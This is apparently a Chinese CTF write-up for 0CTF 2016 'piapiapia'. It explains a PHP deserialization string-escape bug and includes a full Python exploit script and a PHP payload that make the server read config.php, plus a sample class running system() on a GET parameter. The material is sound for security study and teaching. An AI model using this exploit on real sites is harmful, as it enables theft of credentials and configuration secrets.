[0CTF 2016]piapiapia 脚本和总结

先是信息收集 得到www.zip

再是代码审计 发现漏洞 利用PHP反序列化--字符串逃逸 利用file_get_contents() 函数调用读取config.php

本题没sql注入的原因

1 ilter 函数将 '、\ 替换为 _,破坏了 SQL 注入的关键符号(如闭合单引号)。

2 select、where 等关键词被替换为 hacker,进一步阻断注入逻辑。

3 注册和登录逻辑中,用户输入均通过 filter 函数处理后再拼接 SQL,例如:

username = mysql->filter($_POST'username');

sql = "SELECT \* FROM users WHERE username='username'";

无法文件上传的原因

1文件类型强制为 image/jpeg(MIME 类型)。

2文件名被 MD5 哈希后保存为 .jpg,无法保留原始扩展名(如 .php)。

3即使绕过前端校验上传 PHP 文件,服务器也会强制重命名为 .jpg,无法解析执行。

何时存在反序列化漏洞(漏洞原因)

1.直接反序列化用户输入

profile = _POST'data'; // 直接接收用户输入

data = unserialize(profile); // 未验证来源和内容

风险:攻击者可提交任意序列化字符串(如包含恶意类的对象),触发反序列化漏洞

2.缺少签名校验

无哈希签名:序列化后的数据未附加 HMAC 签名,或签名未与服务端密钥验证

3未限制允许的类

// 未设置 allowed_classes,允许任意类被反序列化

data = unserialize(profile);

风险:攻击者可构造包含 __destruct() 或 __wakeup() 魔术方法的恶意类对象,触发任意代码执行。

4.未过滤敏感魔术方法

若反序列化的类包含以下方法且未做安全处理:

class Malicious {

public function __wakeup() {

system($_GET'cmd'); // 危险操作

}

}

风险:反序列化时会自动执行这些方法,导致漏洞利用。

同时今天尝试自己写脚本

python 复制代码
import requests
import re   
import base64
session = requests.Session()
url=''

import os
script_dir = os.path.dirname(os.path.abspath(__file__))
img_path = os.path.join(script_dir, "a.png")

#注册新用户
data={'username':'1234567','password':'123456'}
res=requests.post(url+'register.php',data=data)
a1='Register OK!<a href="index.php">Please Login</a>'
if res.text==a1:
    print('注册成功')
else:
    print('注册失败')
#登录
login_data = {'username': '1234567', 'password': '123456'}
res = session.post(url + 'index.php', data=login_data)

#上传反序列文件
hacker='wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}'
data={
    "phone": "17732930443",
    "email": "1597952666@qq.com",
    "nickname[]": hacker
}

files={
    "photo": ("a.png", open(img_path, "rb"), "image/png")}

res=session.post(url+'update.php',data=data,files=files)
print(res.text)

res=session.get(url+'profile.php')
print(res.text)

data='data:image/gif;base64,(.*?)"'
b=re.findall(data,res.text)
print(base64.b64decode(b[0]))

同级文件夹下有个命名为a.png图片

序列化得到

php 复制代码
<?php
$payload  = 'wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere';
$payload .= '";}s:5:"photo";s:10:"config.php";}';
$_POST['phone']    = '12345678901';
$_POST['email']    = '123@qq.com';
$_POST['nickname'] = array($payload); 
$_FILES['photo']   = array('name' => 'test.png');
$profile = array(
    'phone'    => $_POST['phone'],
    'email'    => $_POST['email'],
    'nickname'  => $_POST['nickname'], 
    'photo'    => 'upload/' . md5($_FILES['photo']['name'])
);
$serialized = serialize($profile);
echo "========== 序列化 (" . strlen($serialized) . " 字符) ==========\n";
echo $serialized . "\n\n";
?>

写这文章的目的是减少对agent的依赖

但感觉agent太上瘾了qwq

相关推荐
我是乌鸦的空间6 小时前
什么是网络安全中的电子数据取证与响应?
网络·网络安全
网安蟹佬霸7 小时前
WAF绕过技术实战:从规则检测到编码绕过全指南(2026最新版,附Payload集与自动化脚本)
运维·安全·网络安全·架构·自动化·网安
数据知道9 小时前
移动端渗透测试流程:Android APK 逆向与动态调试
android·web安全·网络安全
电子科技圈11 小时前
Semtech将于2026年国际物联网展(IOTE 2026)举办 LoRa®全球生态论坛
物联网·网络安全·健康医疗·制造·零售·iot·交通物流
IPdodo_11 小时前
代理 IP 服务商 SLA 怎么验?7 项指标与 Python 探测脚本实战
运维·python·网络协议·网络安全·代理ip
2501_9160088914 小时前
iOS App 请求地址查看,不用配置看到 App 调了哪些接口
网络协议·计算机网络·网络安全·ios·adb·https·udp
数字护盾(和中)14 小时前
和中科技剖析 EDR 绕过全链路,AMSI、ETW 规避技术与防御对策
运维·网络·人工智能·科技·安全·web安全
安全小王子14 小时前
nssctf_sign-ezc++
网络安全·逆向·ctf·nssctf
小小代码狗18 小时前
Windows 权限提升技术详解
windows·网络安全
网安蟹佬霸19 小时前
Android安全攻防实战:从APK逆向到Frida动态Hook全流程详解(附脚本)
android·前端·安全·web安全·逆向·csrf·网安